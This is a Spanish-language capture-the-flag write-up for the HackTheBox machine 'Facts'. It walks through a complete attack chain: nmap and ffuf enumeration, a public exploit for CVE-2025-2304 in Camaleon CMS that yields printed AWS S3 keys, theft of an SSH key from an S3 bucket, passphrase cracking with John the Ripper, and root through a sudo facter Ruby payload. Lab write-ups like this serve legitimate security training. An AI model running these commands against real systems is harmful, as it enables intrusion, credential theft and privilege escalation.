
HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + Clave SSH + Facter PrivEsc
Facts es una máquina Linux de dificultad fácil que requiere explotar una vulnerabilidad conocida (CVE-2025-2304) en Camaleon CMS para extraer credenciales locales de AWS S3. La enumeración de los buckets S3 internos revela una clave privada SSH que debe descifrarse con John the Ripper para obtener acceso inicial. La escalada de privilegios se logra explotando una mala configuración de sudo en /usr/bin/facter, lo que permite ejecutar código Ruby personalizado para obtener una shell root.
Cadena de ataque: Nmap → Camaleon CMS (CVE-2025-2304) → Enumeración de buckets S3 → Descifrado de la clave SSH → sudo facter → Root
Empecemos con un escaneo de Nmap para identificar los servicios activos en la máquina objetivo. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Resultados:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap revela dos puertos abiertos: 22 (SSH) y 80 (HTTP). El servidor web está basado en Nginx. Antes de poder interactuar correctamente con el sitio, debemos añadir el host facts.htb a nuestro archivo /etc/hosts.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
Al visitar el sitio en el puerto 80, se nos presenta una página web estándar. Para descubrir rutas ocultas, lanzamos un ataque de fuerza bruta de directorios (por ejemplo, usando ffuf o gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
La enumeración revela varios directorios interesantes relacionados con un panel de administración (/admin, /admin.php, etc.), todos los cuales redirigen con un estado 302 a http://facts.htb/admin/login.

Al visitar la página de inicio de sesión y autenticarnos (o mirar el pie de página del panel), descubrimos la tecnología detrás del sitio: Camaleon CMS.
Un detalle clave llama nuestra atención en la esquina inferior derecha: la versión del CMS es 2.9.0.

Sabiendo que el servidor ejecuta Camaleon CMS 2.9.0, una búsqueda rápida en línea nos lleva a descubrir una vulnerabilidad crítica conocida como CVE-2025-2304, que permite la escalada de privilegios de un usuario autenticado a administrador.
Encontramos un exploit público en GitHub (creado por Alien0ne) y lo descargamos en nuestra máquina atacante.

Lanzamos el exploit pasando las credenciales que tenemos en nuestro poder (p. ej., mattia:mattia) para elevarnos a administrador, extraer información sensible y luego revertir al rol original para no dejar rastros evidentes.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
La salida del exploit es una mina de oro: consigue extraer credenciales locales de AWS S3 y el endpoint interno que usa el servidor.
S3 Access Key: AKIAA103ACAA5953D888
S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 Endpoint: http://localhost:54321 (que se convierte en http://facts.htb:54321 para nosotros)

Con estas claves, podemos configurar nuestra CLI de AWS local para interactuar con el servicio S3 expuesto por la máquina.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Ahora podemos listar los buckets disponibles pasando la URL del endpoint personalizado:
aws --endpoint-url http://facts.htb:54321 s3 ls
Encontramos dos buckets: internal y randomfacts. Al explorar recursivamente el bucket internal, descubrimos una carpeta .ssh que contiene claves.
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Descarguemos el archivo id_ed25519 (la clave privada SSH) en nuestra máquina.
Tenemos la clave privada, pero está protegida por una passphrase. Para descifrarla, usaremos la suite John the Ripper. Primero, convertiremos la clave a un formato que John pueda leer usando ssh2john:
ssh2john id_ed25519 > hash.txt
A continuación, lanzamos el ataque de diccionario (usando la wordlist personalizada my_guess.txt o la clásica rockyou.txt):
john --wordlist=my_guess.txt hash.txt
La contraseña se descifra con éxito: dragonballz. Ahora tenemos todo lo necesario para acceder al servidor.

Ahora que tenemos todo lo necesario, podemos aprovechar el segundo puerto abierto que encontramos antes: el puerto SSH (22).
ssh -i id_ed25519 [email protected]
Usaremos la contraseña que encontramos antes: dragonballz. ¡Ya estamos dentro!
Ahora necesitamos averiguar qué vía podemos explotar para obtener acceso root, así que usaremos sudo -l.
Vía:
/usr/bin/facter
Para explotar esta vía, usaremos un mini script:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
Y luego lo ejecutaremos:
sudo /usr/bin/facter --custom-dir=/tmp pwn

¡¡¡Oficialmente somos root!!!
Ahora solo tenemos que encontrar las dos flags :)

NMAP — 2 puertos descubiertos (22, 80) ↓ Enumeración web — Se encuentra la sección de administración ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + configuración de AWS ↓ John the Ripper para el hash ↓ Inicio de sesión SSH ↓ Sudo -l ↓ Script + Ejecución ↓ ROOT ✅